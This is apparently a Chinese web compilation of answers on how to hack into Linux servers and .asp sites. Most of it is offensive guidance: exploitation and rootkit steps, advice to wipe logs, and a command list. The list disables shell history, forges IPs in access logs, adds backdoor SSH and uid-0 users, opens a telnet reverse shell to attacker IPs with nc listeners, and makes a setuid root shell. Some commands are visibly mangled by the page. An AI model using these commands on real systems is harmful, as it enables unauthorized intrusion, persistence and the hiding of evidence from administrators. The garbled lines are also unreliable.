文章大纲：

• 1、如何成功入侵 Linux 服务器
• 2、linux搭建的网站服务器怎么入侵
• 3、如何入侵linux服务器
• 4、linux 怎么入侵？？
• 5、怎么使用kali linux入侵.asp网站

如何成功入侵 Linux 服务器

先扫描目标主机开放的隐藏端口，比如ssh的大部分是22，mysql的是3036，然后你得分析这个端口对应的是什么软件，再找到这个软件的漏洞，通过漏洞来获取权限，有了权限之后可以伪造一些文件或者植入木马程序来获取账户口令，有了账户口令后你想干嘛就干嘛，流程有很多，这是常见的，你也可以暴力破解，本交流以学习为主，未经允许非法入侵他人主机是犯法的

linux搭建的网站服务器怎么入侵

整站程序是php的话就利用SQL注入（一般都是linux环境下带个小php），进后台然后提权。和windows主机不一样。linux提权要利用内核漏洞什么的。然后就是留下rootkit，然后就可以走人了

千万记得，linux主机和windows主机不一样。日志要搞干净。尤其是用户执行过的命令也要搞干净

如何入侵linux服务器

华盛顿大学的安全研究员Andre' DiMino注意到了多个IP地址试图利用一个已修复PHP漏洞劫持Linux服务器，他很好奇攻击者如何成功控制一台Linux服务器， 因此设立了一个蜜罐，运行旧版本的PHP，让攻击者劫持，进行观察。DiMino发现，攻击者确实非常狡猾，发出了包含多个指令的HTTP POST请求，下载一个伪装成PDF文件的 Perl 脚本，执行之后删除。

为了确保成功，攻击者使用 curl、fetch、lwp-get请求重复上述步骤。Perl 脚本编程休眠一段时间，猜测可能是避开管理员的耳目。最终被感染的机器连上一个中继聊天频道，下载执行另一个脚本。攻击者在服务器上安装了多个应用，包括 比特币和素数币挖矿程序，DDoS工具，扫描其它存在已知漏洞的机器的工具。随着Linux服务器的流行，它和Windows PC一样成为攻击者眼中极具吸引力的目标。

linux 怎么入侵？？

1，登录ssh之后不记录history

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

2. sed的一些邪恶用法

邪恶的替换到登录的IP和日志里的访问IP

sed -s ’s/211.xxx.xxx.xxx/192.168.1.1/g’ access_log access.log security

邪恶的添加ssh限制登录的用户

sed -i ’s/AllowUsers *** root oracle/AllowUsers *** root oracle rqcuser/g’ sshd_config

不过这个添加之后要强制重启sshd服务才可以生效

lsof -i:22 查找sshd的进程ID

COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME

sshd 18662 root 11u IPv6 27925867 TCP *:ssh (LISTEN)

sshd 31793 sshd 12u IPv6 34742994 TCP 192.168.1.2:ssh-192.168.1.5:49080 (ESTABLISHED)

然后

kill -SIGHUP 18662

3.通过webshell反弹shell回来之后获取真正的ttyshell

python -c ‘import pty; pty.spawn(“/bin/sh”)’

另外一种获取ttyshell的 ***

$ cat sh.exp

#!/usr/bin/expect

# Spawn a shell, then allow the user to interact with it.

# The new shell will have a good enough TTY to run tools like ssh, su and login

spawn sh

interact

bash sh.exp

4.通过TELNET进行反向连接:

telnet [attacker_ipaddr] [port1] /bin/bash telnet [attacker_ipaddr] [port2]

telnet 210.51.173.41 8080 /bin/bash telnet 210.51.173.41 8081

/usr/bin/telnet 203.93.28.236 8000/bin/bash/usr/bin/telnet 203.93.28.236 8001

在203.93.28.236上面运行:

nc –l –p 8000

nc –l –p 8001

/usr/bin/telnet 192.168.1.100 8088/bin/bash/usr/bin/telnet 192.168.1.100 8089

5.curl download

The full command should look something like this:

curl -C – -O

6.Windows下面NC监听linux返回shell执行命令不能正确换行的解决办法

unalias ls

7.linux的BASH提权

export PROMPT_COMMAND=”/usr/ *** in/useradd -o -u 0 kkoo /dev/null echo kkoo:123456 /usr/ *** in/chpasswd /dev/null unset PROMPT_COMMAND”

8.ssh tunnel

ssh -C -f -N -g -L listen_portST_HostST_port user@Tunnel_Host

ssh -C -f -N -g -R listen_portST_HostST_port user@Tunnel_Host

ssh -C -f -N -g -D listen_port user@Tunnel_Host-f

9.本地rootshell

bash和tcsh是行不通的，其他的ash bsh zsh ksh均可。具体操作比较简单，大概说一下cp /bin/ksh . ; chown root.root ksh; chmod 4755 ksh，然后执行ksh就可以获得root权限了；这一招虽然看似低俗，但某些时候还是很有用的。所以一般情况下把多余的shell删除可以在一定程度上增加黑客的入侵成本，没实施的同学可以考虑在标准化里面加入这个操作

怎么使用kali linux入侵.asp网站

kali我一般都用ssh的

1、修改sshd_config文件，命令为：vi

/etc/ssh/sshd_config

2、将#passwordauthentication

no的注释去掉，并且将no修改为yes

//我的kali中默认是yes

3、将#permitrootlogin

yes的注释去掉

//我的kali中默认去掉了注释

4、启动ssh服务，命令为：/etc/init.d/ssh

start

//

或者service

ssh

start

5、验证ssh服务状态，命令为：/etc/init.d/ssh

status